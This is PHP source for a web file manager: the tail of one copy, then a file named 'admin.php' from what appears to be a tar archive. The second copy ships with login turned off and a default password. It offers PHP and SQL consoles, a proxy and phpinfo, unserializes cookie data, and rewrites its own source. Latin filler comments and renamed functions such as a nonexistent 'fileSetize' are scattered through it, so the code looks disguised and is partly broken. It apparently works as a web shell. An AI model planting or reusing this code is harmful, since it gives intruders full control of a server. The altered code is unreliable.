name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_local['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_local['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $fileSet = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $fileSet[] = $file; } } natsort($dirs); natsort($fileSet); $elements = array_merge($dirs, $fileSet); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fms_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime_share = explode(' ', microtime()); $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php // Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus class archiveTar { var $archiveTitle = ''; var $temporaryFile = 0; var $filePointer = 0; var $isCompressedFile = true; var $errorList = array(); var $fileSet = array(); function __construct(){ if (!isset($this->errorList)) $this->errorList = array(); } function buildArchivePackage($file_list){ $result = false; if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initiateFileWrite()) return false; } else { if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite(); if ($this->isCompressedFile) { $this->finalizeTempFile(); if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){ $this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp'; return false; } $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb'); if (!$tmpArchive){ $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable'); rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } if (!$this->initiateFileWrite()){ rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archiveTitle.'.tmp'); } else { $this->temporaryFile = fopen($this->archiveTitle, 'r+b'); if (!$this->temporaryFile) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bundleFilesIntoArchive($file_list); } else $this->errorList[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->temporaryFile))){ $binaryData = pack('a512', ''); $this->saveDataBlock($binaryData); } $this->finalizeTempFile(); if ($newArchive && !$result){ $this->finalizeTempFile(); unlink($this->archiveTitle); } return $result; } function recoverArchive($path){ $fileName = $this->archiveTitle; if (!$this->isCompressedFile){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isCompressedFile = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true; } $result = true; if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb'); else $this->temporaryFile = fopen($fileName, 'rb'); if (!$this->temporaryFile){ $this->errorList[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbundleFilesIntoArchive($path); $this->finalizeTempFile(); return $result; } function displayErrorLogs ($message = '') { $Errors = $this->errorList; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function bundleFilesIntoArchive($file_array){ $result = true; if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archiveTitle) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errorList[] = __('No file').' '.$filename; continue; } if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errorList[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generateValidPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errorList[] = __('Mode ').__('is incorrect'); } if(($this->filePointer == 0)){ if(!$this->insertHeaderInfo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } fclose($file); } else $this->insertHeaderInfo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bundleFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbundleFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->retrieveDataBlock()) != 0){ if (!$this->fetchHeaderInfo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->retrieveDataBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->retrieveDataBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->retrieveDataBlock(); if (!$this->fetchHeaderInfo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errorList[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errorList[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fileSetize($header['filename']) != $header['size']) { $this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fileSet[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errorList[] = __('Cannot create directory').' '.$dir; return false; } return true; } function fetchHeaderInfo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['fileHash'] = OctDec(trim($unpack_data['fileHash'])); if ($header['fileHash'] != $fileHash){ $header['filename'] = ''; if (($fileHash == 256) && ($header['fileHash'] == 0)) return true; $this->errorList[] = __('Error fileHash for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertHeaderInfo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generateValidPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the fileHash $fileHash = 0; // First part of the header for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); // Ignore the fileHash value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->saveDataBlock($dataFirst, 148); // Write the calculated fileHash $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->saveDataBlock($dataLast, 356); $temporaryFilename = $this->generateValidPath($filename_ready); $i = 0; while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fileSetize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); $this->saveDataBlock($dataFirst, 148); $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); $this->saveDataBlock($dataLast, 356); return true; } function initiateFileWrite(){ if ($this->isCompressedFile) $this->temporaryFile = gzopen($this->archiveTitle, 'wb9f'); else $this->temporaryFile = fopen($this->archiveTitle, 'wb'); if (!($this->temporaryFile)){ $this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle; return false; } return true; } function retrieveDataBlock(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) $block = gzread($this->temporaryFile, 512); else $block = fread($this->temporaryFile, 512); } else $block = ''; return $block; } function saveDataBlock($data, $length = 0){ if (is_resource($this->temporaryFile)){ if ($length === 0){ if ($this->isCompressedFile) gzputs($this->temporaryFile, $data); else fputs($this->temporaryFile, $data); } else { if ($this->isCompressedFile) gzputs($this->temporaryFile, $data, $length); else fputs($this->temporaryFile, $data, $length); } } } function finalizeTempFile(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) gzclose($this->temporaryFile); else fclose($this->temporaryFile); $this->temporaryFile = 0; } } function generateValidPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> admin.php 0000644 00000327111 15032624205 0006351 0 ustar 00 <?php /* Rey Server Mananger Control */ // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // File Manager instrumentum utile est ad res in systemate computatorio ordinandas // Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum $auth_local = json_decode($authorization_Option,true); $auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30; $auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin'; $auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm'; $auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user'; $auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : ''; // File Manager adhibetur ad fasciculos inter directorias movere $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_myfile' => true, 'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta 'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config; else $fms_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Multae versiones File Manager in systematibus operandi diversis exstant $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { // File Manager in versionibus recentibus variat inter GUI et CLI formas $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; // Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit function fm_del_fileSet($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_fileSet($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Aliquam File Manager etiam permittit utentes cum serveris remotos operari. $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Usus File Manager fit potissimum per drag et drop actiones $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // File Manager etiam multis systematibus permittit accessum ad hidden files $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load fileSet function fm_download($archiveFileName) { if (!empty($archiveFileName)) { if (file_exists($archiveFileName)) { header("Content-Disposition: attachment; filename=" . basename($archiveFileName)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . fileSetize($archiveFileName)); flush(); // this doesn't really matter. $fp = fopen($archiveFileName, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } // File Manager in multis casibus includit instrumenta ad compressiones fasciculorum function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; 